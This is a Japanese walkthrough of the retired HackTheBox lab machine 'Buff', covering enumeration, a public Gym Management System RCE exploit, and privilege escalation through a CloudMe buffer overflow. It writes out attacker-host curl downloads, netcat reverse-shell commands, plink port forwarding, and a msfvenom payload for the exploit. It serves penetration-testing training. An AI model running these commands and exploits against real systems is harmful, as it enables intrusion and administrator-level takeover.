【HackTheBox】Buff - Walkthrough -

本稿では、[Hack The Box](https://www.hackthebox.eu/)にて提供されている Retired Machines の「Buff」に関する攻略方法（Walkthrough）について検証します。

Hack The Boxに関する詳細は、「[Hack The Boxを楽しむためのKali Linuxチューニング](https://qiita.com/v_avenger/items/c85d946ed2b6bf340a84)」を併せてご確認ください。

# マシンの詳細
![Buff.jpeg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/9ad10a1a-21eb-efc3-26b6-05de8ec7d54f.jpeg)

# エグゼクティブサマリー
## 戦術（Tactic）
- 「[TA0007: 探索（Discovery）](https://attack.mitre.org/tactics/TA0007/)」, 環境を把握するための手順を確認します。
- 「[TA0008: 横展開（Lateral Movement）](https://attack.mitre.org/tactics/TA0008/)」, 環境に対して横の移動を狙います。
- 「[TA0003: 永続化（Persistence）](https://attack.mitre.org/tactics/TA0003/)」, 攻撃者は足場を持続させようとしようとしています。
- 「[TA0004: 特権エスカレーション（Privilege Escalation）](https://attack.mitre.org/tactics/TA0004/)」, より高いレベルの権限取得を狙います。
- 「[TA0002: 実行（Execution）](https://attack.mitre.org/tactics/TA0002/)」, 悪意あるコードを実行します。

## ツール
- nmap
- rlwrap
- nc.exe
- plink.exe
- EDB-ID:48506 Gym Management System 1.0 - Unauthenticated Remote Code Execution
- EDB-ID:48389 CloudMe 1.11.2 - Buffer Overflow (PoC)
- msfvenom

# 詳細手順
# ネットワークサービススキャン
## nmap
IPアドレス `10.10.10.198` を `buff.htb` として、 `/etc/hosts` に追加します。その上で、nmapを使用し、ポートスキャンを実行します。

```
kali@kali:~$ nmap -Pn -T4 -A -v buff.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-08 09:17 EDT
NSE: Loaded 151 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 09:17
Completed NSE at 09:17, 0.00s elapsed
Initiating NSE at 09:17
Completed NSE at 09:17, 0.00s elapsed
Initiating NSE at 09:17
Completed NSE at 09:17, 0.00s elapsed
Initiating Connect Scan at 09:17
Scanning buff.htb (10.10.10.198) [1000 ports]
Discovered open port 8080/tcp on 10.10.10.198
Completed Connect Scan at 09:17, 17.85s elapsed (1000 total ports)
Initiating Service scan at 09:17
Scanning 1 service on buff.htb (10.10.10.198)
Completed Service scan at 09:18, 7.38s elapsed (1 service on 1 host)
NSE: Script scanning 10.10.10.198.
Initiating NSE at 09:18
Completed NSE at 09:18, 11.36s elapsed
Initiating NSE at 09:18
Completed NSE at 09:18, 2.46s elapsed
Initiating NSE at 09:18
Completed NSE at 09:18, 0.00s elapsed
Nmap scan report for buff.htb (10.10.10.198)
Host is up (0.12s latency).
Not shown: 999 filtered ports
PORT     STATE SERVICE VERSION
8080/tcp open  http    Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut

NSE: Script Post-scanning.
Initiating NSE at 09:18
Completed NSE at 09:18, 0.00s elapsed
Initiating NSE at 09:18
Completed NSE at 09:18, 0.00s elapsed
Initiating NSE at 09:18
Completed NSE at 09:18, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.98 seconds
```

これで、標的にて稼働しているサービスが判明しました。特に気になるのは次の通りです。

|ポート番号|サービス|バージョン|
|:---|:---|:---|
|8080/tcp|http|Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)|

## HTTPサービスのスキャン
`Firefox`ブラウザを使って`8080/tcp`にアクセスしてみます。

![web.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/f4a37fc7-b8d1-73d5-62c7-bb758bc88640.png)

各セクションについて探索を行います。[Contact]セクションにて、このサイトが`Gym Management Software 1.0 `にて作成されていることが特定できました。

![contact.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/eb19d3e6-9a9a-a908-0045-56adf58ccff1.png)

# アクセス権の取得

`Gym Management Software 1.0 `には、リモートコード実行の脆弱性（EDB-ID：48506）を抱えていることが知られています。

- [EDB-ID:48506
 Gym Management System 1.0 - Unauthenticated Remote Code Execution](https://www.exploit-db.com/exploits/48506)

`48506.py`コードの実行を試みた結果、いくつかのPython2モジュールの不足が指摘されます。

```
$ python 48506.py http://10.10.10.198:8080/
Traceback (most recent call last):
  File "48506.py", line 37, in <module>
    import requests, sys, urllib, re
ImportError: No module named requests
```

`pip`をインストールし、不足しているモジュールを導入します。

```
kali@kali:~$ sudo apt install python-pip
kali@kali:~$ pip install requests
kali@kali:~$ pip install colorama
```

`48506.py`コードの実行に成功すると、webshellとの接続が確立されます。

```
kali@kali:~$ python 48506.py http://10.10.10.198:8080/
            /\
/vvvvvvvvvvvv \--------------------------------------,
`^^^^^^^^^^^^ /============BOKU====================="
            \/

[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> 
```

## ユーザーシェルの取得
`whoami`コマンドにて、`buff\shaun`権限のシェルが取得できていることを確認します。

```
C:\xampp\htdocs\gym\upload> whoami
�PNG
▒
buff\shaun
```

![exploit.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/2db9d840-aa76-4ab6-63f6-f29eb5d0c643.png)

`user.txt`フラグを取得します。`type`コマンドにて確認することが可能です。

```
C:\xampp\htdocs\gym\upload> type C:\Users\shaun\Desktop\user.txt
�PNG
▒
d2f9{BLOCKED}26c4
```

## シェルのアップグレード
Windowsコマンドを実行できるように、シェルをアップグレードします。
まず、`SimpleHTTPServer`を立ち上げ、次のプログラムを標的マシンへアップロードします。

- NetCat: リバースシェルを確立する
- plink: ポートフォワーディングを確立する

```
kali@kali:/usr/share/windows-resources/binaries$ python -m SimpleHTTPServer 8081
Serving HTTP on 0.0.0.0 port 8081 ...
10.10.10.198 - - [08/Aug/2020 09:28:24] "GET /nc.exe HTTP/1.1" 200 -
10.10.10.198 - - [08/Aug/2020 09:28:44] "GET /plink.exe HTTP/1.1" 200 -
```

```
C:\xampp\htdocs\gym\upload> curl http://10.10.14.11:8081/nc.exe -o nc.exe
�PNG
▒

C:\xampp\htdocs\gym\upload> curl http://10.10.14.11:8081/plink.exe -o plink.exe
�PNG
▒

C:\xampp\htdocs\gym\upload> dir
�PNG
▒
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\xampp\htdocs\gym\upload

08/08/2020  14:28    <DIR>          .
08/08/2020  14:28    <DIR>          ..
08/08/2020  14:25                53 kamehameha.php
08/08/2020  14:28            59,392 nc.exe
08/08/2020  14:28           311,296 plink.exe
               3 File(s)        370,741 bytes
               2 Dir(s)   6,655,049,728 bytes free
```

`Kali`上でのリバースシェルの操作性を向上させるため、`rlwrap`をインストールします。これにより、`readline`対応を実現し、行編集機能を追加することができます。

```
kali@kali:~$ sudo apt-get install rlwrap
```

`kali`上で、リバースシェルを待ち受けます。コマンド構文は次のとおりです。

```
kali@kali:~$ rlwrap nc -nvlp 1234
listening on [any] 1234 ...
```

`buff.htb`上で、`NetCat`コマンドを起動します。コマンド構文は次のとおりです。

```
C:\xampp\htdocs\gym\upload> nc.exe -e cmd.exe 10.10.14.11 1234
```

<img width="1276" alt="shell.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/b475a232-5c98-0cc9-cb4c-c52ca951f3f5.png">

別の方法として、`powershell`を立ち上げる方法も有効です。

```
C:\xampp\htdocs\gym\upload> nc.exe -e powershell.exe 10.10.14.11 1234
```

<img width="1277" alt="powershell.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/3b1a43fb-d96d-350a-49d7-bb1eae501be8.png">

# システム探索

[winPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)または[PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1)などの特権昇格を列挙するためのスクリプトを使ってシステム探索を実行します。



`C:\Users\shaun\Downloads\`ディレクトリに`CloudMe_1112.exe`実行ファイルの存在を確認しました。

```
C:\>dir C:\Users\shaun\Downloads
dir C:\Users\shaun\Downloads
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of C:\Users\shaun\Downloads

14/07/2020  13:27    <DIR>          .
14/07/2020  13:27    <DIR>          ..
16/06/2020  16:26        17,830,824 CloudMe_1112.exe
               1 File(s)     17,830,824 bytes
               2 Dir(s)   7,981,256,704 bytes free
```

`CloudMe_1112.exe`実行ファイルの起動状況について`tasklist`コマンドにて確認します。

```
C:\>tasklist | findstr CloudMe
```

<img width="1276" alt="CloudMe.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/25cbe345-52de-31b0-e2e9-c57eea76385b.png">


# 特権昇格

`CloudMe 1.11.2`には、バッファオーバーフローの脆弱性（EDB-ID：48389）を抱えていることが知られています。

- [EDB-ID:48389 CloudMe 1.11.2 - Buffer Overflow (PoC)](https://www.exploit-db.com/exploits/48389)

この脆弱性を悪用し、特権昇格する方法を検討します。

## ポートフォワードの設定

`Kali`上でSSHサービスを起動します。

```
kali@kali:~$ sudo service ssh start
```

```
C:\xampp\htdocs\gym\upload>plink.exe -l kali -pw kali 10.10.14.11 -R 8888:127.0.0.1:8888
```

`kali`上で、ポートフォワードが機能していることを次のコマンド構文で確認します。

```
kali@kali:~$ netstat -punta | grep 8888
netstat -punta | grep 8888
(Not all processes could be identified, non-owned process info                                         
 will not be shown, you would have to be root to see it all.)                                                               
tcp        0      0 127.0.0.1:8888          0.0.0.0:*               LISTEN      -                   
tcp6       0      0 ::1:8888                :::*                    LISTEN      -
```

<img width="1276" alt="port_foward.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a364952b-0d1f-7a1e-7f21-275d0e37666d.png">

## ペイロードの作成
オリジナルの`48389.py`におけるペイロードは、次のとおり、管理者権限で`CALC.EXE`コマンドが起動するのみです。

```
msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D' -f python
```

そこで、管理者権限で`nc.exe -e cmd.exe 10.10.14.11 4500`コマンド構文を起動するペイロードを`msfvenom`コマンドにて生成します。

```
kali@kali:~$ msfvenom -p windows/exec CMD='C:\xampp\htdocs\gym\upload\nc.exe -e cmd.exe 10.10.14.11 4500' -b '\x00\x0A\x0D' -f py -v payload
```

![msfvenom.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/f994acee-09d3-d86d-2956-dd9ab9f1e481.png)

生成された`payload`をオリジナルの`48389.py`の`payload`を差し替えます。差し替え後のファイルを`exploit.py`として保存します。

![exploit.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/294810/a28242cb-4032-b404-374c-3ae301bc2289.png)

## 特権シェルの取得
`ポート 4500`にてリバースシェルを待ち受けます。

```
kali@kali:~$ nc -lnvp 4500
listening on [any] 4500 ...
```

`exploit.py`を実行します。

```
kali@kali:~$ python exploit.py
python exploit.py
```

`exploit.py`の実行が成功した場合、`buff\administrator`権限のシェルを確立させることができます。

```
kali@kali:~$ nc -lnvp 4500
listening on [any] 4500 ...
connect to [10.10.14.2] from (UNKNOWN) [10.10.10.198] 49683
Microsoft Windows [Version 10.0.17134.1610]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
buff\administrator
```

# ファイル探索
あとは、`root.txt`フラグを`type`コマンドにて確認するだけです。

```
C:\Windows\system32>cd c:\Users\Administrator\Desktop
cd c:\Users\Administrator\Desktop

c:\Users\Administrator\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A22D-49F7

 Directory of c:\Users\Administrator\Desktop

18/07/2020  17:36    <DIR>          .
18/07/2020  17:36    <DIR>          ..
16/06/2020  16:41             1,417 Microsoft Edge.lnk
14/08/2020  13:18                34 root.txt
               2 File(s)          1,451 bytes
               2 Dir(s)   6,761,127,936 bytes free

c:\Users\Administrator\Desktop>type root.txt
type root.txt
d879{BLOCKED}f0f0
````

# 参考資料
- Practical Exploitation Part 1 (CloudMe Sync 1.11.2 BufferOverFlow + SEH), https://bufferoverflows.net/practical-exploitation-part-1-cloudme-sync-1-11-2-bufferoverflow-seh/
- absolomb's security blog, HackTheBox - Chatterbox Writeup, https://www.absolomb.com/2018-06-16-HackTheBox-Chatterbox/